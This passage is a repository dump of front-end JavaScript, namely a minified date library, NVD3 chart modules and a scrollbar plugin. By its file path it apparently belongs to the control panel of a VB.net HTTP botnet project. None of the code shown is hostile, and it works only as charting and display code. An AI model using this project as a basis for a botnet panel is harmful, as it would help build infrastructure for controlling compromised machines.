K(~~(this.milliseconds()/10),2)},SSS:function(){return K(this.milliseconds(),3)},Z:function(){var a=-this.zone(),b="+";return a<0&&(a=-a,b="-"),b+K(~~(a/60),2)+":"+K(~~a%60,2)},ZZ:function(){var a=-this.zone(),b="+";return a<0&&(a=-a,b="-"),b+K(~~(10*a/6),4)}};while(B.length)e=B.pop(),D[e+"o"]=G(D[e]);while(C.length)e=C.pop(),D[e+e]=F(D[e],2);D.DDDD=F(D.DDD,3),b=function(c,d){if(c===null||c==="")return null;var e,f;return b.isMoment(c)?new H(new Date(+c._d),c._isUTC,c._lang):(d?M(d)?e=X(c,d):e=W(c,d):(f=j.exec(c),e=c===a?new Date:f?new Date(+f[1]):c instanceof Date?c:M(c)?O(c):typeof c=="string"?Y(c):new Date(c)),new H(e))},b.utc=function(a,c){return M(a)?new H(O(a,!0),!0):(typeof a=="string"&&!s.exec(a)&&(a+=" +0000",c&&(c+=" Z")),b(a,c).utc())},b.unix=function(a){return b(a*1e3)},b.duration=function(a,c){var d=b.isDuration(a),e=typeof a=="number",f=d?a._data:e?{}:a,g;return e&&(c?f[c]=a:f.milliseconds=a),g=new I(f),d&&(g._lang=a._lang),g},b.humanizeDuration=function(a,c,d){return b.duration(a,c===!0?null:c).humanize(c===!0?!0:d)},b.version=c,b.defaultFormat=v,b.lang=function(a,c){var d;if(!a)return g;(c||!f[a])&&P(a,c);if(f[a]){for(d=0;d11?c?"pm":"PM":c?"am":"AM"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},ordinal:function(a){var b=a%10;return~~(a%100/10)===1?"th":b===1?"st":b===2?"nd":b===3?"rd":"th"}}),b.fn=H.prototype={clone:function(){return b(this)},valueOf:function(){return+this._d},unix:function(){return Math.floor(+this._d/1e3)},toString:function(){return this._d.toString()},toDate:function(){return this._d},toArray:function(){var a=this;return[a.year(),a.month(),a.date(),a.hours(),a.minutes(),a.seconds(),a.milliseconds(),!!this._isUTC]},isValid:function(){return this._a?this._a[8]!=null?!!this._a[8]:!N(this._a,(this._a[7]?b.utc(this._a):b(this._a)).toArray()):!isNaN(this._d.getTime())},utc:function(){return this._isUTC=!0,this},local:function(){return this._isUTC=!1,this},format:function(a){return T(this,a?a:b.defaultFormat)},add:function(a,c){var d=c?b.duration(+c,a):b.duration(a);return L(this,d,1),this},subtract:function(a,c){var d=c?b.duration(+c,a):b.duration(a);return L(this,d,-1),this},diff:function(a,c,e){var f=this._isUTC?b(a).utc():b(a).local(),g=(this.zone()-f.zone())*6e4,h=this._d-f._d-g,i=this.year()-f.year(),j=this.month()-f.month(),k=this.date()-f.date(),l;return c==="months"?l=i*12+j+k/30:c==="years"?l=i+(j+k/30)/12:l=c==="seconds"?h/1e3:c==="minutes"?h/6e4:c==="hours"?h/36e5:c==="days"?h/864e5:c==="weeks"?h/6048e5:h,e?l:d(l)},from:function(a,c){return b.duration(this.diff(a)).lang(this._lang).humanize(!c)},fromNow:function(a){return this.from(b(),a)},calendar:function(){var a=this.diff(b().sod(),"days",!0),c=this.lang().calendar,d=c.sameElse,e=a<-6?d:a<-1?c.lastWeek:a<0?c.lastDay:a<1?c.sameDay:a<2?c.nextDay:a<7?c.nextWeek:d;return this.format(typeof e=="function"?e.apply(this):e)},isLeapYear:function(){var a=this.year();return a%4===0&&a%100!==0||a%400===0},isDST:function(){return this.zone() 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/includes/js/nvd/.DS_Store -------------------------------------------------------------------------------- /Panel/includes/js/nvd/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/legend.js: -------------------------------------------------------------------------------- 1 | nv.models.legend = function() { 2 | 3 | //============================================================ 4 | // Public Variables with Default Settings 5 | //------------------------------------------------------------ 6 | 7 | var margin = {top: 5, right: 0, bottom: 5, left: 0} 8 | , width = 400 9 | , height = 20 10 | , getKey = function(d) { return d.key } 11 | , color = nv.utils.defaultColor() 12 | , align = true 13 | , dispatch = d3.dispatch('legendClick', 'legendDblclick', 'legendMouseover', 'legendMouseout') 14 | ; 15 | 16 | //============================================================ 17 | 18 | 19 | function chart(selection) { 20 | selection.each(function(data) { 21 | var availableWidth = width - margin.left - margin.right, 22 | container = d3.select(this); 23 | 24 | 25 | //------------------------------------------------------------ 26 | // Setup containers and skeleton of chart 27 | 28 | var wrap = container.selectAll('g.nv-legend').data([data]); 29 | var gEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-legend').append('g'); 30 | var g = wrap.select('g'); 31 | 32 | wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')'); 33 | 34 | //------------------------------------------------------------ 35 | 36 | 37 | var series = g.selectAll('.nv-series') 38 | .data(function(d) { return d }); 39 | var seriesEnter = series.enter().append('g').attr('class', 'nv-series') 40 | .on('mouseover', function(d,i) { 41 | dispatch.legendMouseover(d,i); //TODO: Make consistent with other event objects 42 | }) 43 | .on('mouseout', function(d,i) { 44 | dispatch.legendMouseout(d,i); 45 | }) 46 | .on('click', function(d,i) { 47 | dispatch.legendClick(d,i); 48 | }) 49 | .on('dblclick', function(d,i) { 50 | dispatch.legendDblclick(d,i); 51 | }); 52 | seriesEnter.append('circle') 53 | .style('stroke-width', 2) 54 | .attr('r', 5); 55 | seriesEnter.append('text') 56 | .attr('text-anchor', 'start') 57 | .attr('dy', '.32em') 58 | .attr('dx', '8'); 59 | series.classed('disabled', function(d) { return d.disabled }); 60 | series.exit().remove(); 61 | series.select('circle') 62 | .style('fill', function(d,i) { return d.color || color(d,i)}) 63 | .style('stroke', function(d,i) { return d.color || color(d, i) }); 64 | series.select('text').text(getKey); 65 | 66 | 67 | //TODO: implement fixed-width and max-width options (max-width is especially useful with the align option) 68 | 69 | // NEW ALIGNING CODE, TODO: clean up 70 | if (align) { 71 | var seriesWidths = []; 72 | series.each(function(d,i) { 73 | seriesWidths.push(d3.select(this).select('text').node().getComputedTextLength() + 28); // 28 is ~ the width of the circle plus some padding 74 | }); 75 | 76 | //nv.log('Series Widths: ', JSON.stringify(seriesWidths)); 77 | 78 | var seriesPerRow = 0; 79 | var legendWidth = 0; 80 | var columnWidths = []; 81 | 82 | while ( legendWidth < availableWidth && seriesPerRow < seriesWidths.length) { 83 | columnWidths[seriesPerRow] = seriesWidths[seriesPerRow]; 84 | legendWidth += seriesWidths[seriesPerRow++]; 85 | } 86 | 87 | 88 | while ( legendWidth > availableWidth && seriesPerRow > 1 ) { 89 | columnWidths = []; 90 | seriesPerRow--; 91 | 92 | for (k = 0; k < seriesWidths.length; k++) { 93 | if (seriesWidths[k] > (columnWidths[k % seriesPerRow] || 0) ) 94 | columnWidths[k % seriesPerRow] = seriesWidths[k]; 95 | } 96 | 97 | legendWidth = columnWidths.reduce(function(prev, cur, index, array) { 98 | return prev + cur; 99 | }); 100 | } 101 | //console.log(columnWidths, legendWidth, seriesPerRow); 102 | 103 | var xPositions = []; 104 | for (var i = 0, curX = 0; i < seriesPerRow; i++) { 105 | xPositions[i] = curX; 106 | curX += columnWidths[i]; 107 | } 108 | 109 | series 110 | .attr('transform', function(d, i) { 111 | return 'translate(' + xPositions[i % seriesPerRow] + ',' + (5 + Math.floor(i / seriesPerRow) * 20) + ')'; 112 | }); 113 | 114 | //position legend as far right as possible within the total width 115 | g.attr('transform', 'translate(' + (width - margin.right - legendWidth) + ',' + margin.top + ')'); 116 | 117 | height = margin.top + margin.bottom + (Math.ceil(seriesWidths.length / seriesPerRow) * 20); 118 | 119 | } else { 120 | 121 | var ypos = 5, 122 | newxpos = 5, 123 | maxwidth = 0, 124 | xpos; 125 | series 126 | .attr('transform', function(d, i) { 127 | var length = d3.select(this).select('text').node().getComputedTextLength() + 28; 128 | xpos = newxpos; 129 | 130 | if (width < margin.left + margin.right + xpos + length) { 131 | newxpos = xpos = 5; 132 | ypos += 20; 133 | } 134 | 135 | newxpos += length; 136 | if (newxpos > maxwidth) maxwidth = newxpos; 137 | 138 | return 'translate(' + xpos + ',' + ypos + ')'; 139 | }); 140 | 141 | //position legend as far right as possible within the total width 142 | g.attr('transform', 'translate(' + (width - margin.right - maxwidth) + ',' + margin.top + ')'); 143 | 144 | height = margin.top + margin.bottom + ypos + 15; 145 | 146 | } 147 | 148 | }); 149 | 150 | return chart; 151 | } 152 | 153 | 154 | //============================================================ 155 | // Expose Public Variables 156 | //------------------------------------------------------------ 157 | 158 | chart.dispatch = dispatch; 159 | 160 | chart.margin = function(_) { 161 | if (!arguments.length) return margin; 162 | margin.top = typeof _.top != 'undefined' ? _.top : margin.top; 163 | margin.right = typeof _.right != 'undefined' ? _.right : margin.right; 164 | margin.bottom = typeof _.bottom != 'undefined' ? _.bottom : margin.bottom; 165 | margin.left = typeof _.left != 'undefined' ? _.left : margin.left; 166 | return chart; 167 | }; 168 | 169 | chart.width = function(_) { 170 | if (!arguments.length) return width; 171 | width = _; 172 | return chart; 173 | }; 174 | 175 | chart.height = function(_) { 176 | if (!arguments.length) return height; 177 | height = _; 178 | return chart; 179 | }; 180 | 181 | chart.key = function(_) { 182 | if (!arguments.length) return getKey; 183 | getKey = _; 184 | return chart; 185 | }; 186 | 187 | chart.color = function(_) { 188 | if (!arguments.length) return color; 189 | color = nv.utils.getColor(_); 190 | return chart; 191 | }; 192 | 193 | chart.align = function(_) { 194 | if (!arguments.length) return align; 195 | align = _; 196 | return chart; 197 | }; 198 | 199 | //============================================================ 200 | 201 | 202 | return chart; 203 | } 204 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/line.js: -------------------------------------------------------------------------------- 1 | 2 | nv.models.line = function() { 3 | 4 | //============================================================ 5 | // Public Variables with Default Settings 6 | //------------------------------------------------------------ 7 | 8 | var scatter = nv.models.scatter() 9 | ; 10 | 11 | var margin = {top: 0, right: 0, bottom: 0, left: 0} 12 | , width = 960 13 | , height = 500 14 | , color = nv.utils.defaultColor() // a function that returns a color 15 | , getX = function(d) { return d.x } // accessor to get the x value from a data point 16 | , getY = function(d) { return d.y } // accessor to get the y value from a data point 17 | , defined = function(d,i) { return !isNaN(getY(d,i)) && getY(d,i) !== null } // allows a line to be not continuous when it is not defined 18 | , isArea = function(d) { return d.area } // decides if a line is an area or just a line 19 | , clipEdge = false // if true, masks lines within x and y scale 20 | , x //can be accessed via chart.xScale() 21 | , y //can be accessed via chart.yScale() 22 | , interpolate = "linear" // controls the line interpolation 23 | ; 24 | 25 | scatter 26 | .size(16) // default size 27 | .sizeDomain([16,256]) //set to speed up calculation, needs to be unset if there is a custom size accessor 28 | ; 29 | 30 | //============================================================ 31 | 32 | 33 | //============================================================ 34 | // Private Variables 35 | //------------------------------------------------------------ 36 | 37 | var x0, y0 //used to store previous scales 38 | ; 39 | 40 | //============================================================ 41 | 42 | 43 | function chart(selection) { 44 | selection.each(function(data) { 45 | var availableWidth = width - margin.left - margin.right, 46 | availableHeight = height - margin.top - margin.bottom, 47 | container = d3.select(this); 48 | 49 | //------------------------------------------------------------ 50 | // Setup Scales 51 | 52 | x = scatter.xScale(); 53 | y = scatter.yScale(); 54 | 55 | x0 = x0 || x; 56 | y0 = y0 || y; 57 | 58 | //------------------------------------------------------------ 59 | 60 | 61 | //------------------------------------------------------------ 62 | // Setup containers and skeleton of chart 63 | 64 | var wrap = container.selectAll('g.nv-wrap.nv-line').data([data]); 65 | var wrapEnter = wrap.enter().append('g').attr('class', 'nvd3 nv-wrap nv-line'); 66 | var defsEnter = wrapEnter.append('defs'); 67 | var gEnter = wrapEnter.append('g'); 68 | var g = wrap.select('g') 69 | 70 | gEnter.append('g').attr('class', 'nv-groups'); 71 | gEnter.append('g').attr('class', 'nv-scatterWrap'); 72 | 73 | wrap.attr('transform', 'translate(' + margin.left + ',' + margin.top + ')'); 74 | 75 | //------------------------------------------------------------ 76 | 77 | 78 | 79 | 80 | scatter 81 | .width(availableWidth) 82 | .height(availableHeight) 83 | 84 | var scatterWrap = wrap.select('.nv-scatterWrap'); 85 | //.datum(data); // Data automatically trickles down from the wrap 86 | 87 | d3.transition(scatterWrap).call(scatter); 88 | 89 | 90 | 91 | defsEnter.append('clipPath') 92 | .attr('id', 'nv-edge-clip-' + scatter.id()) 93 | .append('rect'); 94 | 95 | wrap.select('#nv-edge-clip-' + scatter.id() + ' rect') 96 | .attr('width', availableWidth) 97 | .attr('height', availableHeight); 98 | 99 | g .attr('clip-path', clipEdge ? 'url(#nv-edge-clip-' + scatter.id() + ')' : ''); 100 | scatterWrap 101 | .attr('clip-path', clipEdge ? 'url(#nv-edge-clip-' + scatter.id() + ')' : ''); 102 | 103 | 104 | 105 | 106 | var groups = wrap.select('.nv-groups').selectAll('.nv-group') 107 | .data(function(d) { return d }, function(d) { return d.key }); 108 | groups.enter().append('g') 109 | .style('stroke-opacity', 1e-6) 110 | .style('fill-opacity', 1e-6); 111 | d3.transition(groups.exit()) 112 | .style('stroke-opacity', 1e-6) 113 | .style('fill-opacity', 1e-6) 114 | .remove(); 115 | groups 116 | .attr('class', function(d,i) { return 'nv-group nv-series-' + i }) 117 | .classed('hover', function(d) { return d.hover }) 118 | .style('fill', function(d,i){ return color(d, i) }) 119 | .style('stroke', function(d,i){ return color(d, i)}); 120 | d3.transition(groups) 121 | .style('stroke-opacity', 1) 122 | .style('fill-opacity', .5); 123 | 124 | 125 | 126 | var areaPaths = groups.selectAll('path.nv-area') 127 | .data(function(d) { return isArea(d) ? [d] : [] }); // this is done differently than lines because I need to check if series is an area 128 | areaPaths.enter().append('path') 129 | .attr('class', 'nv-area') 130 | .attr('d', function(d) { 131 | return d3.svg.area() 132 | .interpolate(interpolate) 133 | .defined(defined) 134 | .x(function(d,i) { return x0(getX(d,i)) }) 135 | .y0(function(d,i) { return y0(getY(d,i)) }) 136 | .y1(function(d,i) { return y0( y.domain()[0] <= 0 ? y.domain()[1] >= 0 ? 0 : y.domain()[1] : y.domain()[0] ) }) 137 | //.y1(function(d,i) { return y0(0) }) //assuming 0 is within y domain.. may need to tweak this 138 | .apply(this, [d.values]) 139 | }); 140 | d3.transition(groups.exit().selectAll('path.nv-area')) 141 | .attr('d', function(d) { 142 | return d3.svg.area() 143 | .interpolate(interpolate) 144 | .defined(defined) 145 | .x(function(d,i) { return x0(getX(d,i)) }) 146 | .y0(function(d,i) { return y0(getY(d,i)) }) 147 | .y1(function(d,i) { return y0( y.domain()[0] <= 0 ? y.domain()[1] >= 0 ? 0 : y.domain()[1] : y.domain()[0] ) }) 148 | //.y1(function(d,i) { return y0(0) }) //assuming 0 is within y domain.. may need to tweak this 149 | .apply(this, [d.values]) 150 | }); 151 | d3.transition(areaPaths) 152 | .attr('d', function(d) { 153 | return d3.svg.area() 154 | .interpolate(interpolate) 155 | .defined(defined) 156 | .x(function(d,i) { return x0(getX(d,i)) }) 157 | .y0(function(d,i) { return y0(getY(d,i)) }) 158 | .y1(function(d,i) { return y0( y.domain()[0] <= 0 ? y.domain()[1] >= 0 ? 0 : y.domain()[1] : y.domain()[0] ) }) 159 | //.y1(function(d,i) { return y0(0) }) //assuming 0 is within y domain.. may need to tweak this 160 | .apply(this, [d.values]) 161 | }); 162 | 163 | 164 | 165 | var linePaths = groups.selectAll('path.nv-line') 166 | .data(function(d) { return [d.values] }); 167 | linePaths.enter().append('path') 168 | .attr('class', 'nv-line') 169 | .attr('d', 170 | d3.svg.line() 171 | .interpolate(interpolate) 172 | .defined(defined) 173 | .x(function(d,i) { return x0(getX(d,i)) }) 174 | .y(function(d,i) { return y0(getY(d,i)) }) 175 | ); 176 | d3.transition(groups.exit().selectAll('path.nv-line')) 177 | .attr('d', 178 | d3.svg.line() 179 | .interpolate(interpolate) 180 | .defined(defined) 181 | .x(function(d,i) { return x(getX(d,i)) }) 182 | .y(function(d,i) { return y(getY(d,i)) }) 183 | ); 184 | d3.transition(linePaths) 185 | .attr('d', 186 | d3.svg.line() 187 | .interpolate(interpolate) 188 | .defined(defined) 189 | .x(function(d,i) { return x(getX(d,i)) }) 190 | .y(function(d,i) { return y(getY(d,i)) }) 191 | ); 192 | 193 | 194 | 195 | //store old scales for use in transitions on update 196 | x0 = x.copy(); 197 | y0 = y.copy(); 198 | 199 | }); 200 | 201 | return chart; 202 | } 203 | 204 | 205 | //============================================================ 206 | // Expose Public Variables 207 | //------------------------------------------------------------ 208 | 209 | chart.dispatch = scatter.dispatch; 210 | chart.scatter = scatter; 211 | 212 | d3.rebind(chart, scatter, 'id', 'interactive', 'size', 'xScale', 'yScale', 'zScale', 'xDomain', 'yDomain', 'sizeDomain', 'forceX', 'forceY', 'forceSize', 'clipVoronoi', 'clipRadius', 'padData'); 213 | 214 | chart.margin = function(_) { 215 | if (!arguments.length) return margin; 216 | margin.top = typeof _.top != 'undefined' ? _.top : margin.top; 217 | margin.right = typeof _.right != 'undefined' ? _.right : margin.right; 218 | margin.bottom = typeof _.bottom != 'undefined' ? _.bottom : margin.bottom; 219 | margin.left = typeof _.left != 'undefined' ? _.left : margin.left; 220 | return chart; 221 | }; 222 | 223 | chart.width = function(_) { 224 | if (!arguments.length) return width; 225 | width = _; 226 | return chart; 227 | }; 228 | 229 | chart.height = function(_) { 230 | if (!arguments.length) return height; 231 | height = _; 232 | return chart; 233 | }; 234 | 235 | chart.x = function(_) { 236 | if (!arguments.length) return getX; 237 | getX = _; 238 | scatter.x(_); 239 | return chart; 240 | }; 241 | 242 | chart.y = function(_) { 243 | if (!arguments.length) return getY; 244 | getY = _; 245 | scatter.y(_); 246 | return chart; 247 | }; 248 | 249 | chart.clipEdge = function(_) { 250 | if (!arguments.length) return clipEdge; 251 | clipEdge = _; 252 | return chart; 253 | }; 254 | 255 | chart.color = function(_) { 256 | if (!arguments.length) return color; 257 | color = nv.utils.getColor(_); 258 | scatter.color(color); 259 | return chart; 260 | }; 261 | 262 | chart.interpolate = function(_) { 263 | if (!arguments.length) return interpolate; 264 | interpolate = _; 265 | return chart; 266 | }; 267 | 268 | chart.defined = function(_) { 269 | if (!arguments.length) return defined; 270 | defined = _; 271 | return chart; 272 | }; 273 | 274 | chart.isArea = function(_) { 275 | if (!arguments.length) return isArea; 276 | isArea = d3.functor(_); 277 | return chart; 278 | }; 279 | 280 | //============================================================ 281 | 282 | 283 | return chart; 284 | } 285 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/stream_layers.js: -------------------------------------------------------------------------------- 1 | 2 | /* Inspired by Lee Byron's test data generator. */ 3 | function stream_layers(n, m, o) { 4 | if (arguments.length < 3) o = 0; 5 | function bump(a) { 6 | var x = 1 / (.1 + Math.random()), 7 | y = 2 * Math.random() - .5, 8 | z = 10 / (.1 + Math.random()); 9 | for (var i = 0; i < m; i++) { 10 | var w = (i / m - y) * z; 11 | a[i] += x * Math.exp(-w * w); 12 | } 13 | } 14 | return d3.range(n).map(function() { 15 | var a = [], i; 16 | for (i = 0; i < m; i++) a[i] = o + o * Math.random(); 17 | for (i = 0; i < 5; i++) bump(a); 18 | return a.map(stream_index); 19 | }); 20 | } 21 | 22 | /* Another layer generator using gamma distributions. */ 23 | function stream_waves(n, m) { 24 | return d3.range(n).map(function(i) { 25 | return d3.range(m).map(function(j) { 26 | var x = 20 * j / m - i / 3; 27 | return 2 * x * Math.exp(-.5 * x); 28 | }).map(stream_index); 29 | }); 30 | } 31 | 32 | function stream_index(d, i) { 33 | return {x: i, y: Math.max(0, d)}; 34 | } 35 | 36 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/tooltip.js: -------------------------------------------------------------------------------- 1 | 2 | /***** 3 | * A no-frills tooltip implementation. 4 | *****/ 5 | 6 | 7 | (function() { 8 | 9 | var nvtooltip = window.nv.tooltip = {}; 10 | 11 | nvtooltip.show = function(pos, content, gravity, dist, parentContainer, classes) { 12 | 13 | var container = document.createElement('div'); 14 | container.className = 'nvtooltip ' + (classes ? classes : 'xy-tooltip'); 15 | 16 | gravity = gravity || 's'; 17 | dist = dist || 20; 18 | 19 | var body = parentContainer ? parentContainer : document.getElementsByTagName('body')[0]; 20 | 21 | container.innerHTML = content; 22 | container.style.left = 0; 23 | container.style.top = 0; 24 | container.style.opacity = 0; 25 | 26 | body.appendChild(container); 27 | 28 | var height = parseInt(container.offsetHeight), 29 | width = parseInt(container.offsetWidth), 30 | windowWidth = nv.utils.windowSize().width, 31 | windowHeight = nv.utils.windowSize().height, 32 | scrollTop = window.scrollY, 33 | scrollLeft = window.scrollX, 34 | left, top; 35 | 36 | windowHeight = window.innerWidth >= document.body.scrollWidth ? windowHeight : windowHeight - 16; 37 | windowWidth = window.innerHeight >= document.body.scrollHeight ? windowWidth : windowWidth - 16; 38 | 39 | var tooltipTop = function ( Elem ) { 40 | var offsetTop = top; 41 | do { 42 | if( !isNaN( Elem.offsetTop ) ) { 43 | offsetTop += (Elem.offsetTop); 44 | } 45 | } while( Elem = Elem.offsetParent ); 46 | return offsetTop; 47 | } 48 | 49 | var tooltipLeft = function ( Elem ) { 50 | var offsetLeft = left; 51 | do { 52 | if( !isNaN( Elem.offsetLeft ) ) { 53 | offsetLeft += (Elem.offsetLeft); 54 | } 55 | } while( Elem = Elem.offsetParent ); 56 | return offsetLeft; 57 | } 58 | 59 | switch (gravity) { 60 | case 'e': 61 | left = pos[0] - width - dist; 62 | top = pos[1] - (height / 2); 63 | var tLeft = tooltipLeft(container); 64 | var tTop = tooltipTop(container); 65 | if (tLeft < scrollLeft) left = pos[0] + dist > scrollLeft ? pos[0] + dist : scrollLeft - tLeft + left; 66 | if (tTop < scrollTop) top = scrollTop - tTop + top; 67 | if (tTop + height > scrollTop + windowHeight) top = scrollTop + windowHeight - tTop + top - height; 68 | break; 69 | case 'w': 70 | left = pos[0] + dist; 71 | top = pos[1] - (height / 2); 72 | if (tLeft + width > windowWidth) left = pos[0] - width - dist; 73 | if (tTop < scrollTop) top = scrollTop + 5; 74 | if (tTop + height > scrollTop + windowHeight) top = scrollTop - height - 5; 75 | break; 76 | case 'n': 77 | left = pos[0] - (width / 2) - 5; 78 | top = pos[1] + dist; 79 | var tLeft = tooltipLeft(container); 80 | var tTop = tooltipTop(container); 81 | if (tLeft < scrollLeft) left = scrollLeft + 5; 82 | if (tLeft + width > windowWidth) left = left - width/2 + 5; 83 | if (tTop + height > scrollTop + windowHeight) top = scrollTop + windowHeight - tTop + top - height; 84 | break; 85 | case 's': 86 | left = pos[0] - (width / 2); 87 | top = pos[1] - height - dist; 88 | var tLeft = tooltipLeft(container); 89 | var tTop = tooltipTop(container); 90 | if (tLeft < scrollLeft) left = scrollLeft + 5; 91 | if (tLeft + width > windowWidth) left = left - width/2 + 5; 92 | if (scrollTop > tTop) top = scrollTop; 93 | break; 94 | } 95 | 96 | 97 | container.style.left = left+'px'; 98 | container.style.top = top+'px'; 99 | container.style.opacity = 1; 100 | container.style.position = 'absolute'; //fix scroll bar issue 101 | container.style.pointerEvents = 'none'; //fix scroll bar issue 102 | 103 | return container; 104 | }; 105 | 106 | nvtooltip.cleanup = function() { 107 | 108 | // Find the tooltips, mark them for removal by this class (so others cleanups won't find it) 109 | var tooltips = document.getElementsByClassName('nvtooltip'); 110 | var purging = []; 111 | while(tooltips.length) { 112 | purging.push(tooltips[0]); 113 | tooltips[0].style.transitionDelay = '0 !important'; 114 | tooltips[0].style.opacity = 0; 115 | tooltips[0].className = 'nvtooltip-pending-removal'; 116 | } 117 | 118 | 119 | setTimeout(function() { 120 | 121 | while (purging.length) { 122 | var removeMe = purging.pop(); 123 | removeMe.parentNode.removeChild(removeMe); 124 | } 125 | }, 500); 126 | }; 127 | 128 | 129 | })(); 130 | -------------------------------------------------------------------------------- /Panel/includes/js/nvd/utils.js: -------------------------------------------------------------------------------- 1 | 2 | nv.utils.windowSize = function() { 3 | // Sane defaults 4 | var size = {width: 640, height: 480}; 5 | 6 | // Earlier IE uses Doc.body 7 | if (document.body && document.body.offsetWidth) { 8 | size.width = document.body.offsetWidth; 9 | size.height = document.body.offsetHeight; 10 | } 11 | 12 | // IE can use depending on mode it is in 13 | if (document.compatMode=='CSS1Compat' && 14 | document.documentElement && 15 | document.documentElement.offsetWidth ) { 16 | size.width = document.documentElement.offsetWidth; 17 | size.height = document.documentElement.offsetHeight; 18 | } 19 | 20 | // Most recent browsers use 21 | if (window.innerWidth && window.innerHeight) { 22 | size.width = window.innerWidth; 23 | size.height = window.innerHeight; 24 | } 25 | return (size); 26 | }; 27 | 28 | 29 | 30 | // Easy way to bind multiple functions to window.onresize 31 | // TODO: give a way to remove a function after its bound, other than removing all of them 32 | nv.utils.windowResize = function(fun){ 33 | var oldresize = window.onresize; 34 | 35 | window.onresize = function(e) { 36 | if (typeof oldresize == 'function') oldresize(e); 37 | fun(e); 38 | } 39 | } 40 | 41 | // Backwards compatible way to implement more d3-like coloring of graphs. 42 | // If passed an array, wrap it in a function which implements the old default 43 | // behavior 44 | nv.utils.getColor = function(color) { 45 | if (!arguments.length) return nv.utils.defaultColor(); //if you pass in nothing, get default colors back 46 | 47 | if( Object.prototype.toString.call( color ) === '[object Array]' ) 48 | return function(d, i) { return d.color || color[i % color.length]; }; 49 | else 50 | return color; 51 | //can't really help it if someone passes rubbish as color 52 | } 53 | 54 | // Default color chooser uses the index of an object as before. 55 | nv.utils.defaultColor = function() { 56 | var colors = d3.scale.category20().range(); 57 | return function(d, i) { return d.color || colors[i % colors.length] }; 58 | } 59 | 60 | 61 | // Returns a color function that takes the result of 'getKey' for each series and 62 | // looks for a corresponding color from the dictionary, 63 | nv.utils.customTheme = function(dictionary, getKey, defaultColors) { 64 | getKey = getKey || function(series) { return series.key }; // use default series.key if getKey is undefined 65 | defaultColors = defaultColors || d3.scale.category20().range(); //default color function 66 | 67 | var defIndex = defaultColors.length; //current default color (going in reverse) 68 | 69 | return function(series, index) { 70 | var key = getKey(series); 71 | 72 | if (!defIndex) defIndex = defaultColors.length; //used all the default colors, start over 73 | 74 | if (typeof dictionary[key] !== "undefined") 75 | return (typeof dictionary[key] === "function") ? dictionary[key]() : dictionary[key]; 76 | else 77 | return defaultColors[--defIndex]; // no match in dictionary, use default color 78 | } 79 | } 80 | 81 | 82 | 83 | // From the PJAX example on d3js.org, while this is not really directly needed 84 | // it's a very cool method for doing pjax, I may expand upon it a little bit, 85 | // open to suggestions on anything that may be useful 86 | nv.utils.pjax = function(links, content) { 87 | d3.selectAll(links).on("click", function() { 88 | history.pushState(this.href, this.textContent, this.href); 89 | load(this.href); 90 | d3.event.preventDefault(); 91 | }); 92 | 93 | function load(href) { 94 | d3.html(href, function(fragment) { 95 | var target = d3.select(content).node(); 96 | target.parentNode.replaceChild(d3.select(fragment).select(content).node(), target); 97 | nv.utils.pjax(links, content); 98 | }); 99 | } 100 | 101 | d3.select(window).on("popstate", function() { 102 | if (d3.event.state) load(d3.event.state); 103 | }); 104 | } 105 | 106 | -------------------------------------------------------------------------------- /Panel/includes/js/tiny-scrollbar.js: -------------------------------------------------------------------------------- 1 | (function(a){a.tiny=a.tiny||{};a.tiny.scrollbar={options:{axis:"y",wheel:40,scroll:true,lockscroll:true,size:"auto",sizethumb:"auto",invertscroll:false}};a.fn.tinyscrollbar=function(d){var c=a.extend({},a.tiny.scrollbar.options,d);this.each(function(){a(this).data("tsb",new b(a(this),c))});return this};a.fn.tinyscrollbar_update=function(c){return a(this).data("tsb").update(c)};function b(q,g){var k=this,t=q,j={obj:a(".viewport",q)},h={obj:a(".overview",q)},d={obj:a(".scrollbar",q)},m={obj:a(".track",d.obj)},p={obj:a(".thumb",d.obj)},l=g.axis==="x",n=l?"left":"top",v=l?"Width":"Height",r=0,y={start:0,now:0},o={},e="ontouchstart" in document.documentElement;function c(){k.update();s();return k}this.update=function(z){j[g.axis]=j.obj[0]["offset"+v];h[g.axis]=h.obj[0]["scroll"+v];h.ratio=j[g.axis]/h[g.axis];d.obj.toggleClass("disable",h.ratio>=1);m[g.axis]=g.size==="auto"?j[g.axis]:g.size;p[g.axis]=Math.min(m[g.axis],Math.max(0,(g.sizethumb==="auto"?(m[g.axis]*h.ratio):g.sizethumb)));d.ratio=g.sizethumb==="auto"?(h[g.axis]/m[g.axis]):(h[g.axis]-j[g.axis])/(m[g.axis]-p[g.axis]);r=(z==="relative"&&h.ratio<=1)?Math.min((h[g.axis]-j[g.axis]),Math.max(0,r)):0;r=(z==="bottom"&&h.ratio<=1)?(h[g.axis]-j[g.axis]):isNaN(parseInt(z,10))?r:parseInt(z,10);w()};function w(){var z=v.toLowerCase();p.obj.css(n,r/d.ratio);h.obj.css(n,-r);o.start=p.obj.offset()[n];d.obj.css(z,m[g.axis]);m.obj.css(z,m[g.axis]);p.obj.css(z,p[g.axis])}function s(){if(!e){p.obj.bind("mousedown",i);m.obj.bind("mouseup",u)}else{j.obj[0].ontouchstart=function(z){if(1===z.touches.length){i(z.touches[0]);z.stopPropagation()}}}if(g.scroll&&window.addEventListener){t[0].addEventListener("DOMMouseScroll",x,false);t[0].addEventListener("mousewheel",x,false)}else{if(g.scroll){t[0].onmousewheel=x}}}function i(A){a("body").addClass("noSelect");var 